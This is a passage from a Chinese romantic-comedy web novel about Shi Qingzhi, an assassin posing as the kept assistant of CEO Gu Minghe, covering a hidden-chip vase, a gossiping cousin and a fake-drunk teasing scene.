时清徵:....... 每当别人问出这句话,十有八九是有麻烦找上你了。 不过时清徵憋了半天才想到自己是真没什么事能给顾鸣鹤说的事实。 于是点头:“虽然我没什么事,但我还是有点忙。” 顾鸣鹤哼笑:“忙着打游戏?” “倒也不是。” 时清徵心想:他也没那么不务正业,也就偶尔放松一二三四五六把吧。 “既然没事就在这待着,帮我整理一下文件。”顾鸣鹤满脸理所应当。 时清徵想了想,摇头拒绝:“不行,我是生活助理,不负责照顾你的工作。” 顾鸣鹤:“.......” 看着时清徵一副摆烂的模样,顾鸣鹤险些被气笑了。 “那行,让你留着照顾我总行了吧。” 时清徵:“嗯.......” 他还没想好怎么拒绝。 “你能不能有点生活助理的自觉?”顾鸣鹤提高音量,显然是有些气到了。 也不知道在气什么。 “那,行吧。” 时清徵扯了张椅子,在顾鸣鹤对面坐下,直勾勾地盯着他。 这样总行了吧。 顾鸣鹤心满意足地低下头处理工作。 时清徵说是帮忙,实际上就盯着人看了。 不得不说,这人工作时别有一番魅力。 那张脸也是赏心悦目,好看得紧。 时清徵活了这么久,难得有个人能完美契合他的所有口味。 顾鸣鹤能感觉到对面的人的目光一直落在自己的身上。 心中满意。 看来自己还是很有魅力的。 直接让这人挪不开眼了。 顾鸣鹤想着,心情愉悦地勾起唇,工作效率都提高了不少。 有人工作越来越精神,有人看地都困了。 时清徵是真没什么管理上的天赋,对金融行业更是不了解。 如果真把一个公司交给他,怕是倒闭速度都得加快不少。 相较于赚钱,时清徵更擅长雇人给他赚钱。 毕竟他都这么有钱了,干嘛还要自己干活? 躺平收钱不是更美吗? 时清徵一边玩着消消乐,一边又分心往门口看去。 内心已经演了一出大戏了。 万一这时候从门外冲进来一个丧尸,顾鸣鹤慌张抬头,紧张地把自己护在身后...... 时清徵想到这摇了摇头。 不对。 凭借顾鸣鹤那个尿性,他觉得对方把自己推出去挡刀的可能性大一点。 所以剧情应该是这样发展的。 顾鸣鹤把自己推出去挡丧尸,自己一拳轰死那个丑不拉几的东西。 最后顾鸣鹤一脸错愕的看着他,知道他是武林高手,最后跪地求饶。 时清徵觉得自己已经快无聊疯了。 人怎么可以这么没意思。 他已经闲到用手扣沙发皮面了,想看看它是不是真皮。 最终时清徵得出一个结论。 是真皮,质量还不错。 顾鸣鹤不知道什么时候放下了文件,看着时清徵一本正经地胡作非为。 颇有些头疼。 不是.......这对吗? 明明这个人没有做什么逾越的举动,可他就是有一种对方很快就要把天花板掀了的错觉。 最终,顾鸣鹤还是缓缓开口。 “要不你还是走.......” “吧”字还没说出口。 只觉眼前一阵风吹过。 最后是“砰——”的关门声,随之而来的是一句潇洒的。 “先生再见——” 那语气要多愉悦有多愉悦。 顾鸣鹤看着上一秒还坐着人的沙发,下一秒就变得空荡荡,简直要被气笑了。 这人这么不想跟自己待一起? 呵...... 随便他反正有他在这和没他在这儿都一样。 自己才不会在乎。 呵...... 谁会在乎呢?反正他不在乎。 真的。 顾鸣鹤有些愤然的拔下钢笔的笔帽,戳了半天也没把它戳回去。 最后气得换了支笔。 什么破笔? 时清徵走出门感觉空气都清新了。 他直接打车去了江南月给他发的那个地址。 那个别墅区离这里并不远,打车不过十几分钟就到了。 因为有江南月提前说好,所以时清徵很轻易的就进了这个小区。 小区的环境很不错,每一栋别墅间都隔了相当一段的距离。 时清徵找到江南月的别墅后输入密码走进去。 里面空空荡荡一片,除了常用的家具几乎没有什么生活的痕迹。 可见这里的主人并不怎么住在这。 那个瓶子被江南月放在地下室了。 她单独弄了个屋子来放这些乱七八糟的东西。 其中包括但不限于:各种样式的长刀,短刀,甚至还有几把枪...... 时清徵:........ 不是,这玩意她弄来干什么?想找死吗? 时清徵在一个架子上找到了那个瓶子。 瓶子约莫成人小臂高度,材质是某种哑光的深色陶土,入手微沉,触感冰凉。 带走它显然不现实。 时清徵将瓶子放在茶几上。 他没有立刻上手摸索,而是从地下室里取出一个高精度金属探测仪。 这并非普通探测器,而是经过FK集团技术部门深度改造的,能针对性地扫描识别多种特殊涂层以及微电子元件发出的特定电磁信号。 他开启设备,先对瓶子进行了一次无死角的扫描。 仪器屏幕上的光谱图快速跳动,发出极其轻微的嗡鸣。 在靠近瓶口内壁的区域,扫描图谱出现了一个不规则的异常信号峰。 这里应该是有带有加密涂层的微型金属。 果然有东西。 时清徵眼神一凝,低声自语。 他放下扫描仪,戴上手套。 一手稳住瓶身,另一只手拿起一支笔电筒射入瓶口内部。 瓶口内壁靠近肩部的区域,有微小凸起,若非专业设备和细致观察,绝难发现。 时清徵没有选择暴力破坏瓶身。 一来这瓶子本身是重要线索和可能的物证,二来破坏过程可能损毁内部物品。 只可惜他在地下室找了一圈也没有找到趁手的工具。 青鸟这里是该有的没有,不该有的有。 第48章 真是有够戏剧性的 时清徵只好先把瓶子放回去。 随后拿起手机,给他在东南群岛的一个技术团队负责人发了条信息。 对方秒回。 并且表示自己的工作人员两日后会带着专业设备前往京城。 这个技术团队是FK集团在东南群岛的后勤支援部,一直是时清徵负责这一块的业务。 但时清徵着实不是个勤快的人,所以时清徵其实也没去过几趟FK集团在东南群岛的分部。 除了实在是需要高层出面来解决的问题,他才会勉强出席一下,其他时候全都在忙自己的事情。 也幸好他手下的那群人够敬业,不然FK集团在东南群岛的分部总负责人带头翘班,他们非倒闭不可。 看到回复后,时清徵心中一定。 转身离开了地下室。 结果还没有出别墅区,就遇到了一个熟悉的面孔。 “嚯,是你啊。”靳云封的声音带着些惊喜。 他老远看到这个背影就觉得熟悉了,但是又不敢确定。 但是直到看到人的正脸他才确认。 “还真的是你,时.....时清徵对吧?你怎么会在这?” 他一副自来熟的样子挤到时清徵身边,笑的那叫一个不怀好意。 时清徵皱了下眉。 “你问我?我还问你呢,你在这干什么?” “我?我就住这啊。”靳云封微微眯眼,看着时清徵走过来的方向,想了想。 “我说你不在顾哥家好好待着怎么跑这来了?” “那个房子是你的?顾哥给你买的?” 也不对啊,他不记得顾鸣鹤在这边买过房,而且这一块产业也不是顾家的啊。 他嘀嘀咕咕着,随后又自言自语,继续道。 “不对啊,那房子我记得是我表姐的啊.......” 时清徵好整以暇地看着他:“你表姐?” “对啊。”靳云封皱起眉,下意识回道。 忽然想到了什么,瞪着眼睛不可置信地看着时清徵:“说,你跟我表姐什么关系!你....你不会脚踏两条船吧?” 时清徵抱臂,就站在原地看着靳云封在那里演戏。 “我草,你一边吊着我顾哥,一边还勾搭上我表姐了,兄弟,你牛啊。” 靳云封的想象力完全已经奔着狗血的方向一路狂奔了。 眼看就要收不住了。 时清徵才开口打断。 “靳少还有这种脑洞呢,不去当编辑可惜了,娱乐圈现在就缺你这种人才。” “你还知道我名呢,顾哥告诉你的?” 时清徵:“不然呢,还能是你脑门上有写?” 靳云封被怼地噎了一下。 随后看着时清徵啧啧称奇道:“你小子看不出来啊,在顾哥面前那么乖巧,没想到还有两副面孔呢。” “还有啊,顾哥知道你在玩弄他感情吗?” 他的语气里没有对时清徵脚踏两条船的道德谴责,有的全是看自己兄弟好戏的兴奋。 看着他那副贱兮兮的笑容,时清徵眯了眯眼,轻啧了一声。 “靳少以后还是少看这种狗血三角恋戏码,对脑子不好。” 靳云封:........ “要是没什么事我就先走了。” 靳云封叫住了他:“哎,你还没回答我的问题呢,你怎么会从我表姐家出来?” 时清徵:“要不你去问问你表姐?” 靳云封听他这么一讲,就想到了江南月那天在江家的所作所为。 那恐怖的战斗力....... 他还是有点怂。 见他没说话,时清徵直接绕过他离开了。 靳云封是江南月的表弟?这世界可真小。 只是今天被这家伙撞上了,要是他跟顾鸣鹤提一嘴,有点麻烦啊。 自己该怎么解释好呢? 时清徵一边想着一边慢吞吞的往外走。 靳云封站在原地,若有所思地看着时清徵那潇洒的背影。 不对劲。 有十二万分的不对劲。 作为一个流连情场,经验丰富的老手,他能感觉到时清徵的态度很明显有问题。 提到顾哥的时候时清徵是什么态度? 没有羞涩,没有甜蜜,甚至连一点被大佬金屋藏娇的乖巧都没有。 面对他时反而是有些冷静和不耐烦。 还有时清徵最后看向他的那个眼神,那种居高临下和懒得跟你计较的眼神...... 艹。 这不就是顾哥平时看别人的眼神吗? 他们俩人不会是灵魂互换了吧?? 这个时清徵身体里的灵魂其实是顾鸣鹤的!! 想到这里,他颤颤巍巍地掏出手机,给顾鸣鹤打了通视频电话。 视频电话很快被挂断。 他不信邪,继续打。 又被挂。 【疯了:你是顾鸣鹤吗?】! 这句话的后面跟了一个显眼的红色叹号,自己被拉黑了。 对味了。 果然是自己想太多了。 靳云封第一次感觉自己的脑子不太够用。 总感觉这个时清徵态度怪怪的,但又说不出哪里不对劲。 他抓了抓头发,最后还是觉得不想了。 —— 顾鸣鹤收到了第七局的消息。 “南瓜的人受伤了,怎么伤的?” 他问。 南瓜是第七局其他行动小组的负责人。 对面的人是先前一直和他通讯的中年男人,声音低沉:“之前在赤洲执行任务,结果和当地势力撞上了,被关了半个月。” “被动刑了?” 对面人道:“那倒不是,主要是把人救出来的时候遭到伏击了,伤不重。” 顾鸣鹤扬眉:“被黑潮的人抓的?” “不是,” 对方回答,“是FK集团的人。” 顾鸣鹤听到这个名字,沉默了一下。 FK集团他是知道的。 不是因为这个集团的商业有多强,而是它地下的那些产业。 明面上的医疗、金融等产业只是它的遮掩。 如果真要把FK集团放在金融圈,那是连前百都进不去。 但人家那些只是弄着玩,真正的主业发展到哪种程度,恐怕只有他们内部的高层才清楚。 第七局对这个新崛起的FK集团,最开始还有些忌惮。 但FK集团从来没来A国这边搞过事,所以他们也没必要揪着人家不放。 “怎么会对上FK集团的人?” 顾鸣鹤有些疑惑。 局长沉默了两秒,才开口解释道:“误判了。我们派第三组去截获黑潮公司的一批运往东洲的du品。 但是那个港口,就在当天,刚好被FK集团给剿了。我们的人不知道情况,直接撞了进去.......就发生了冲突。” 顾鸣鹤:....... 真是有够戏剧的。 第49章 浮光 顾鸣鹤:“我想和你找个时间单独见一面,关于顾砚川那几亿资金异常流动的问题。” “这么快就查到了?” 对面的声音带着一丝不易察觉的讶异。 “对” ,顾鸣鹤肯定道,“经过我手下人追踪,他的资金最终流进了东南群岛那边的一个公司。” 他说着,眉头不由自主地蹙紧,“不过这件事一时半会儿说不清楚。” “好,” 对面的人没有犹豫,干脆地应下,“那就明天下午。” 挂掉电话后,顾鸣鹤才有空查看其他消息。 他看了一眼通讯录黑名单里的靳云封,顺手将人拉了回来。 几乎是瞬间,对面的消息就叮叮咚咚的冒了出来。 【疯了:顾哥在吗?你绝对猜不到我刚才看见了什么。】 【顾鸣鹤:是母猪排队跳水了,还是你又被哪个前女友堵在家门口了?】 【疯了:........】 对面似乎被噎了一下。 【疯了:那倒不是。】 顾鸣鹤眉梢微挑,兴致缺缺,刚准备退出聊天界面。 就见靳云封的消息快速弹了出来。 【疯了:是关于你家那位的。】 几乎是一瞬间,顾鸣鹤就想到了时清徵那张脸。 他的手指在靠近退出图标的地方顿住了,随即又缓缓挪开,打字。 【顾鸣鹤:怎么?】 对面的靳云封一看顾鸣鹤关注这件事情,瞬间来劲了。 那种卖关子的欠揍劲隔着屏幕都能溢出来。 【疯了:你猜啊~】 顾鸣鹤的耐心以肉眼可见的速度消失了。 【顾鸣鹤:我觉得靳老爷子之前建议你进公司的事情很有道理,哪天见到老爷子的时候可以提一下。微笑jpg.】 【顾鸣鹤:到时候保证你生活充实。】 这招釜底抽薪的效果很是拔群。 靳云封秒怂。 【疯了:顾哥,我就开玩笑,我告诉你还不成吗?】 【疯了:就是我今天出门的时候,在我家那个小区看见了你那小情人了。】 【疯了:最重要的是,他还是从我表姐的别墅里出来的!!!】 顾鸣鹤的目光瞬间凝了下。 许久才回复了一个字。 【顾鸣鹤:哦。】 对面的靳云封见顾鸣鹤这么平淡的态度,满脸不可置信的打字质问。 【疯了:不是吧,你就一个哦字??】 他还想看顾鸣鹤气急败坏的模样呢。 【顾鸣鹤:你表姐是江南月?】 显然他对京城圈里的人际关系还是很了解的。 【疯了:对,就是我之前在群里说的那个。】 【顾鸣鹤:行,我知道了。】 【疯了:你就这态度啊?你不应该愤怒一点吗?】 但这个消息一发出去就没有再收到回应了。 顾鸣鹤将手机反扣在桌面上,手指不自觉的敲着。 江南月和时清徵怎么会扯到一起去? 眉头不自觉的就蹙起来了。 过了几分钟,他还是情不自禁的拿起手机,给时清徵发了条信息。 【顾鸣鹤:你到家了吗?】 看到这个消息的时候,时清徵还在出租车上。 他回复道。 【你洗了蒜了:还没有呢,还有十几分钟吧。】 【你洗了蒜了:先生找我我什么事吗?】 时清徵看着顾鸣鹤发来的那条消息,又想到刚才自己在江南月的小区碰到靳云封的事。 总感觉是那人偷偷告状了。 顾鸣鹤的手指在屏幕前悬停了半天,最终还是没问出口。 【顾鸣鹤:没事。】 时清徵这时已经在心中想好理由了,可看到这个“没事”反而有些愣住。 什么意思? 不过顾鸣鹤不问也好,自己解释起来也麻烦。 另一边顾鸣鹤盯着手机屏幕看了好一会儿见,对面一点回话的动静都没有,气笑了。 将手机往桌子上一丢。 随后想了想又推远了些。 呵。 无人在意好吗? 谁在意了? 他咬着后槽牙,就去拿桌边的方案书。 呵,他一点都不关心时清徵会不会对他解释,真的。 顾鸣鹤的“谁在意谁是狗”的内心戏从李特助进来的那一刻戛然而止。 李全知推了推自己的金丝框眼镜,不动声色地环视了一下周围的环境。 最终很敏锐的察觉到顾鸣鹤那未来得及散去的低气压。 总感觉今天的总裁有点奇怪呢。 但是他也顾不得多想,将手中的文件递给了顾鸣鹤。 “顾总,晚上有一场盟洲那边的跨国会议,这里是会议的相关资料和最新的议程,请您过目。” “晚上工作结束后,顺远的张总在云顶会所设宴,到时候宋氏集团和许氏集团的负责人都会在场。” “月光传媒的张总监现在已经在会客室等您了,您看是现在请他过来还是稍后?” 顾鸣鹤:“月光传媒?” 他记得自己之前亲口说打算投那一部叫“浮光”的电影来着。 “行,你把他叫到这里来吧。” 其实投资电影这种小事本来用不上顾鸣鹤这个总裁亲自出马,按照惯例让投资总监去谈绰绰有余了。 但顾总今天也不知道是哪根筋搭错了,居然要浪费时间在这种小项目上。 啊呸。 李全知把自己脑子里乱七八糟的想法给抛了出去。 怎么能这么想自己的总裁呢? 李全知你真是飘了。 想一想你那五十万的基础月薪,想想你的年终奖!你还要不要干了.......? “好的顾总。”说罢就转身出去请人了。 张全民得知顾总亲自接见,激动得差点同手同脚走进来。 他脸上堆满了受宠若惊的笑容,声音都带着点颤:“顾总您好,打扰您了!” “坐。” 顾鸣鹤抬手示意,姿态从容,目光落在张全民身上。 目光带着上位者惯有的审视,却比平时似乎多了不易察觉的探究。 “张总监的来意我清楚,《浮光》这个项目,天和可以投。” 张全民大喜过望,还没来得及道谢,就听顾鸣鹤话锋一转,语气平淡却带着无形的压力: “不过,在正式签合同之前,我还有几个小问题想问问张总监。” “您请问,我一定知无不言!”张全民立刻正襟危坐。 心中却在思忖顾总怎么会突然关注这一部电影。 第50章 醉酒 “之前,跟你初步接触讨论的那位.......年轻人。” 顾鸣鹤斟酌着用词,仿佛只是随意提起,“你们当时,只谈了电影?” 张全民先是愣了一下,随即心头猛地一跳。 他瞬间明白顾总问的是谁,他差点脱口而出“那位小兄弟”,话到嘴边硬生生拐了个弯,变成了更稳妥的称呼: “顾总,您是问那位小......先生啊?” 他小心翼翼地观察着顾鸣鹤的脸色,谨慎地回答:“是的,我们确实只简单聊了电影行业。 那位先生虽然年轻,但对电影的理解非常深刻,他应该是对电影艺术本身非常感兴趣,而且有相当的了解。” 他现在算是看出来了,顾鸣鹤对那个小兄弟的态度绝对不一般。 反正只要夸就对了。 “哦?他对电影很感兴趣?” “是的,顾总!非常感兴趣!” 张全民连忙点头,语气肯定:“我们聊起来能感觉到是发自内心的热爱和思考,不是那种附庸风雅的。” “好,我知道了。” 顾鸣鹤语气恢复了公事公办的平淡:“具体的投资条款和后续事宜,你去跟投资部的王总监对接吧。” “好的好的!非常感谢顾总的信任和支持!”张全民带着巨大的喜悦,连忙起身告辞。 办公室的门轻轻合上,室内恢复了安静。 张全民离开办公室后,顾鸣鹤靠回椅背,他眉宇间那点不自觉的冷峻也悄然化开。 一丝极淡的连他自己都未曾察觉的笑意,染上了他的唇角。 喜欢电影? 这个发现像投入心湖的一颗小石子,漾开圈圈愉悦的涟漪。 那很好。 顾鸣鹤的手指在桌面上轻轻敲击着,节奏轻快。 既然时清徵对电影艺术有这份“发自内心的热爱”,那他自然要帮他把这份兴趣发挥到极致。 投资几部他感兴趣的电影算什么? 顾鸣鹤甚至已经在脑海里迅速筛选天和旗下或者有合作关系的顶尖制片团队。 只要时清徵点头,最好的剧本,最优秀的导演,最顶级的配置,都可以为他准备好。 他想看什么就拍什么。 甚至....... 顾鸣鹤的目光投向窗外广阔的城市天际线,一个更大胆的念头浮现出来。 如果时清徵愿意,他完全可以自己站到镜头前。 以他那张脸和那份独特的气质,顾鸣鹤几乎能预见他出现在大银幕上会引发怎样的轰动。 天和最顶级的资源,足以将他捧上巅峰。 半山庄园的私人影院设备虽已是顶尖,但此刻在顾鸣鹤看来,却显得有些不够看了。 既然要支持他的兴趣,硬件自然也要匹配最高标准。 行动派的顾总没有丝毫犹豫,立刻拿起手机,点开李管家的对话框。 升级半山庄园影音室的设备配置。 信息发出后,顾鸣鹤放下手机。 他重新拿起文件,心情却与之前截然不同。 窗外的阳光似乎都更加明媚了几分。 另一边收到顾鸣鹤要求更换影音室设备的消息后,李管家先是有些不知所措。 但还是照办了。 奇怪,庄园里的影音室也不怎么有人用啊。 除了时先生去过一次....... 恰在此时时清徵也从外面回来了。 李管家顺口问了一下:“时先生,顾总要求升级音影室的设备,这件事你知道吗?” 他下意识觉得顾总升级影音室的原因应该和时清徵有关。 时清徵摇了摇头。 “我不清楚,顾先生怎么忽然要更换设备了?” 他之前去过音影室一趟,里面的设备可以说得上是顶级。 怎么还要升级? 最终他也只能感慨一句:壕无人性啊。 “啊,您也不清楚?”李管家诧异。 时清徵茫然摇头。 “嗯,好吧,那我便不打扰您了。” 李管家匆匆离开,去联系原先的那个代理商讨论升级系统的事儿了。 这件事情就是一个小插曲,时清徵并没有放在心上。 他只当做这是正常有钱人的常规操作。 更不可能自恋到认为顾鸣鹤这是专门为他做的。 ———— 夜色已深,此时的庄园里一片寂静。 时清徵正坐在客厅里看书,就听见玄关处传来一阵声响。 李全知跟着顾鸣鹤走了进来。 空气中立刻浮现出酒气和烟气混杂的味道,很是浓烈。 但顾鸣鹤的脚步很稳,不见醉态。 “先生?”时清徵把书放到一旁。 起身走了过去。 顾鸣鹤那双桃花眼在一瞬间显露出些许醉态,瞳孔有些涣散的望着时清徵。 时清徵看着对方有些失焦的眼神,诧异道:“您醉了?” 然而,听闻时清徵这话,李全知下意识开口:“顾总没有.......” “咳咳。”顾鸣鹤忽然轻咳了两声。 李全知不愧是顾鸣鹤的心腹,他的工资没有一分钱是白拿的。 对于自家总裁的心思,他一清二楚。 再一联想到自家总裁,一定要从云顶会场跑到半山庄园休息。 那可是几十分钟的车程啊。 一瞬间领会到顾总的意思了。 “对,顾总今天喝的酒有点多,麻烦时先生照顾一下了。” 说着他脚底抹油直接开溜。 “哎——” 时清徵还没来得及叫住他,李全知的身影就已经消失了。 这位特助以前是体育生吧....... 对于顾鸣鹤是不是真醉了,时清徵持三分怀疑的态度。 然而顾鸣鹤就是装的。 他好歹是一个在商业圈混那么久的人,虽然不至于千杯不倒,但也差不多了。 不过最开始他是没有想着要装醉来着,但是时清徵照顾他不是应该的吗? 顾鸣鹤非常自然地往时清徵怀里倒去。 搂着他的腰,将脸埋在了时清徵的肩上。 轻暖的鼻息洒在了时清徵的脖颈处,只觉得一阵酥酥麻麻。 时清徵尝试推了一下。 嘶。 你别说。 顾鸣鹤分量不轻。 “先生,能不能先松开?”时清徵的语气有些无奈。 顾鸣鹤显然是要把装醉贯彻到底。 让这人今天无视自己。 让他今天离开后还瞒着自己跑到那个江南月家里。 呵,看自己今晚怎么折腾他。 顾鸣鹤一动不动地抱着时清徵,假装听不见。 第51章 先生,我们聊聊 时清徵一时间还真被顾鸣鹤的演技骗了过去。 毕竟他怎么都想不到顾鸣鹤会有闲情逸致来装醉骗他。 他只好拖着半醉不醒的顾鸣鹤往沙发那边走去。 好在他不是真的手无缚鸡之力。 只是到了沙发旁边,顾鸣鹤是怎么都不肯松手。 一副馋定了他的模样。 “先生,我去给你煮醒酒汤。”时清徵真的很无奈了。 “......”顾鸣鹤没回。 什么醒酒汤,他又没醉。 今天不给时清徵一个教训他顾鸣鹤的脸往哪搁? 这小东西都敢骑到他头上了,这还了得!? 最后顾鸣鹤往后一倒,整个人倒在了沙发里面。 连带着他怀里的时清徵也被他拉进了沙发里。 时清徵被迫趴在顾鸣鹤身上,脸紧紧贴在顾鸣鹤的胸口上。 不知道是不是因为醉酒的原因,对方心跳的幅度有些急促。 时清徵动了动,奈何对方的手臂像是铁钳一样紧紧的箍在了他的腰身。 他现在已经有五分怀疑顾鸣鹤是装的了。 看着对方紧闭的双眼,时清徵起了坏心思。 他默默抬起手,捏住了顾鸣鹤的鼻子。 然后抬脸好整以暇的看着顾鸣鹤接下来的动作。 敢在我面前装?憋不死你! 下一秒,顾鸣鹤张开了嘴。 时清徵:........ 他还有另一只手呢。 于是他抬起手捂住了顾鸣鹤的嘴。 眼神中的恶劣趣味藏都藏不住。 结果下一秒,他的瞳孔骤缩,一丝震惊的情绪浮上了他的眉眼。 嘴巴因为诧异而微微张开。 顾鸣鹤居然*舔他的手心! 时清徵没见过这么骚的操作,下意识就准备把手收回来。 结果顾鸣鹤似乎早有预料,比他动作更快地一把抓住人的手腕。 在人的掌心落下了湿漉漉的吻。 时清徵:...... ! 艹! 他手腕一个用力从顾鸣鹤手中脱离了出来,随后后退两步。 一脸看神经病的表情看着顾鸣鹤。 顾鸣鹤这下也不装醉了,单手支起身子坐了起来。 那双桃花眼里满是促狭的笑意,哪里能见半分醉态? 这人分明就是装的。 时清徵咬牙切齿,内心骂了一句:无耻。 顾鸣鹤则是心情很好,一副计谋得逞的模样。 他懒洋洋地扯动已经松散的领结,把它拿了下来。 随后将领结绕着手打着一圈一圈的环。 最后抬眸看着时清徵。 “不是说要给我煮醒酒汤,还站在那做什么?” 时清徵:“我煮你妈。” 顾鸣鹤:“.......??” “怎么还骂人呢?” 时清徵白了他一眼,在他对面的小沙发上坐下,重新拿起之前放下来的书,随意翻着。 一副不想理这人的模样,把顾鸣鹤无视了个彻底。 这操作把顾鸣鹤给气笑了。 行。 吃他的,住他的,睡他。 现在还敢无视他。 时清徵,你真有能耐。 “时清徵,你长能耐了是吧,无视我?” 时清徵这才施舍了顾鸣鹤一个眼神,但是就直勾勾看着他,没说话。 明明什么都没有说,但这个眼神就是让顾鸣鹤很不爽。 总有一种被轻视的感觉。 顾鸣鹤站起身,长腿一迈,朝着时清徵走了过来。 时清徵面前忽然笼罩下了一片阴影,居高临下的压迫力从顾鸣鹤身上传来。 他这才放下书,慢慢抬起头。 眼神中没有慌乱,也没有窘迫,只有一片“不然呢”“你还想咋滴”的淡定。 两人眼神在空气中相撞,颇有种针尖对麦芒的气势。 顾鸣鹤哼笑一声,一把扯住时清徵的两只手,原先缠绕在他手中的领带直接捆住时清徵的手腕。 时清徵抬手按住顾鸣鹤的举动,领带散落在两人的相抵的手上。 顾鸣鹤微微眯眼,看着反抗的时清徵,心中的烦躁愈演愈烈。 而时清徵在强压下心中的那一份冲动,生怕头脑一热把这人踹出去。 “先生,我们聊聊?” 最终还是他妥协开口道。 两人都没有动真格,但同时也都诧异于对方的力气。 尤其是顾鸣鹤能明显感觉到时清徵怕是有些能耐在身上的。 就是时清徵方才那个反制的手段很利落,很专业。 “聊?”顾鸣鹤嗓音低哑,也许是因为喝了酒的原因。 “你觉得现在是聊的时候?” 话音刚落,他一只手骤然探出,压着时清徵的手腕往后一拉。 随即整个人带着时清徵往沙发上压了过去。 然而就在时清徵要被压下去的瞬间,两人的身份忽然调转。 时清徵脚往后一伸,勾住顾鸣鹤的腿,借力旋身一转,将顾鸣鹤压在了下面。 但力量不是时清徵的优势,时清徵只好将自己的一条腿压在顾鸣鹤的腿上,整个人倾了过去。 以此来增加压制力。 顾鸣鹤靠在沙发背上,两人面对面,咫尺的距离。 “先生,你冷静一点。” 时清徵将人牢牢压在身下,语气有些无奈。 顾鸣鹤一只手被时清徵反制住,另一只手已经搭在时清徵的后颈。 他也没想到不过瞬息功夫,自己就被时清徵反制住了。 时清徵自然也不认为顾鸣鹤真的没有反抗之力。 毕竟顾鸣鹤的手还在他后颈放着。 “先生,聊聊吧。” 这是时清徵第二次提出聊聊了。 顾鸣鹤微微眯起眼,那双桃花眸中的惊诧一闪而过。 即使刚才并没有认真,但他也能感受到时清徵是具有一定的格斗意识和反制手段的。 但他很好遮掩了自己的情绪,没有把怀疑展现出来。 “聊什么?” 顾鸣鹤伸出去的那一只手并不安分,在时清徵的后颈处细细摩挲着。 时清徵并不习惯自己的要害被别人掌握住,但现在并不是那种拼死的环境,所以他尽量忽视这一点。 “先生最近看我不顺眼?” 时清徵开口,一脸正色道。 顾鸣鹤被他这话给气笑了,示意时清徵松开禁锢的姿态。 时清徵纠结了一下,还是松开了。 结果整个人下一秒就被拉着坐在顾鸣鹤的腿上。 顾鸣鹤捏着人下巴,让时清徵脸对着自己。 “我看你不顺眼?我怎么没发现你原来这么会倒打一耙呢?” 第52章 你能不能有点金丝雀该有的自觉 时清徵眼神中难得闪过一丝迷茫。 倒打一耙,谁? 他吗? 看着时清徵一副毫不知情的模样,顾鸣鹤的气更不打一处来。 一股莫名的情绪涌上心头,包括但不限于—— 我不是你金主吗,你不能尊重我一下。 你能不能有点金丝雀该有的自觉? 你这样真的比我更像渣男! 最终千言万语还是汇成了一个。 “呵——” 时清徵:....... 不是,他语文不好,谁来解读一下这个“呵”是什么意思? 顾鸣鹤看人一副一点不开窍的模样,手中力道不自觉也大了些。 结果神游的时清徵因为这力道皱了下眉。 顾鸣鹤赶紧松了手。 时清徵下巴那里很明显出现了一道红痕。 可见刚才人用力之大。 顾鸣鹤有些心虚,不经意地搓了搓手指。 但转念一想—— 活该! 场面一瞬间陷入沉默。 “说话。”顾鸣鹤直直地看着时清徵,根本不打算放过他。 时清徵嘴唇嗫嚅了一下。 眨了眨眼,对上顾鸣鹤质问的视线。 不知道为什么,明明他什么都没干,可就是有点心虚。 第一次在与别人的对视中败下阵来。 时清徵被盯地整个人都不自在了。 可是在顾鸣鹤无声的逼问下,他还是弱弱的开口:“先生.......” “嗯?” “.......我好像,也没做什么吧?” 时清徵是真的有些心虚了,话到嘴边又咽了下去,以此获得饱腹感。 顾鸣鹤认同地点头:“对,你什么都没干。” 时清徵微微睁大眼:“对啊。” 顾鸣鹤也不说话,就好整以暇地看着他把时清徵都盯着浑身发毛了。 他忽然明白了一句话“拿人手短吃人嘴软”。 他现在不就是这样子吗? 要是换其他人这样跟他说话,他一定好好跟对方理论理论。 但是顾鸣鹤........ 首先这张脸着实美丽啊! 时清徵觉得自己的底线都降了点,快成皮筋了。 “咳咳——”时清徵没话说,只能用轻咳来缓解尴尬。 但咳嗽显然是没什么用的。 “先生,我觉得.....我可能....我也许还有要改进的地方。” 时清徵拧眉憋出了这么一句。 随后就像是小说作者在卡文时给读者水文一样。 “我以前的确有做的不好的地方,但是经过我们.....的相处,我觉得未来会更加美好顺利。” 时清徵越说眼睛越亮。 对,就这样,先批判一下自己,再展望一下美好未来。 说的好极了。 时清徵觉得自己可以去当演讲家,推销员。 最后,他满脸期待地看着顾鸣鹤,希望他点评.....啊呸,是认同一下。 顾鸣鹤看着眼睛亮亮的时清徵,心中一阵无语。 他还以为自己说的不错呢? 他总感觉这话术有点耳熟。 那不是他中学时期写检讨的专用格式吗? 顾鸣鹤没有回时清徵,时清徵觉得自己被冷暴力了。 心中默默翻了个白眼,身子挪了挪,就想从人腿上下来。 顾鸣鹤看穿了他的小动作,将人揽住,时清徵的脸被压在他的胸前。 随后,顾鸣鹤有些咬牙切齿道:“你能不能有点被包养的自觉?” 时清徵皱眉挣扎地挪开脸,与人面对面。 “先生的意思是我服务的不到位?那我们以后可以长一点,不过这得看先生。” “如果先生不满意,我在上面也不是不可以。” 时清徵说着不禁皱了皱眉。 虽然吧他不太喜欢当上面的,但要是顾鸣鹤...... 他也可以考虑一下。 顾鸣鹤已经不知道第几次被气笑了,他感觉已经要被气疯了。 他默默扭过脸,不想去看时清徵那一副“天真烂漫”的面孔。 我跟你聊真的,你跟我聊黄的是吧? 顾鸣鹤觉得他要是再让时清徵说话,明天的新闻头条就是“天和集团总裁被气死在家中”了。 显然时清徵还在认真考虑自己计划的可行性。 虽然,但是.....也行吧。 那他就委屈一下。 顾鸣鹤笑着点头:“想在上面是吧,今天晚上满足你。” 时清徵:....... 他总感觉他们说的“上面”不是一个意思。 “现在,让我们好好聊一聊你工作态度的问题。”顾鸣鹤的语气阴恻恻的,还有些咬牙切齿。 时清徵:....... 醍醐灌顶了。 你早说是因为工作态度问题啊。 时清徵觉得算不上一个好员工,因为他的业绩向来不达标。 杀手排行一路滑到第六名,却丝毫没有羞愧之感。 这个月排行榜过几天又要更新了,他的排名可能又掉了...... 当然时清徵也不是一个好老板,因为他永远带头翘班,底下的人没几个见过他的。 要不是手下人还算勤劳,时清徵真的会被昏鸦那个工作狂吊起来鞭策。 所以面对顾鸣鹤的反问,时清徵表示已经习以为常了。 “我工作态度有问题吗?” 时清徵还是忍不住问了一句。 虽然他感觉他在...表现还挺好,挺卖力的吧....... 自己这体力都满足不了顾鸣鹤? “你思想能不能纯洁一点?”顾鸣鹤讽刺时清徵道。 时清徵:“........” 这人今晚老是怼他。 “我指的是你对我态度能不能积极一点?” 时清徵:“怎么积极?” “你问我?”顾鸣鹤反问,“你是金主还是我是金主。” 时清徵:“行,我研究研究。” 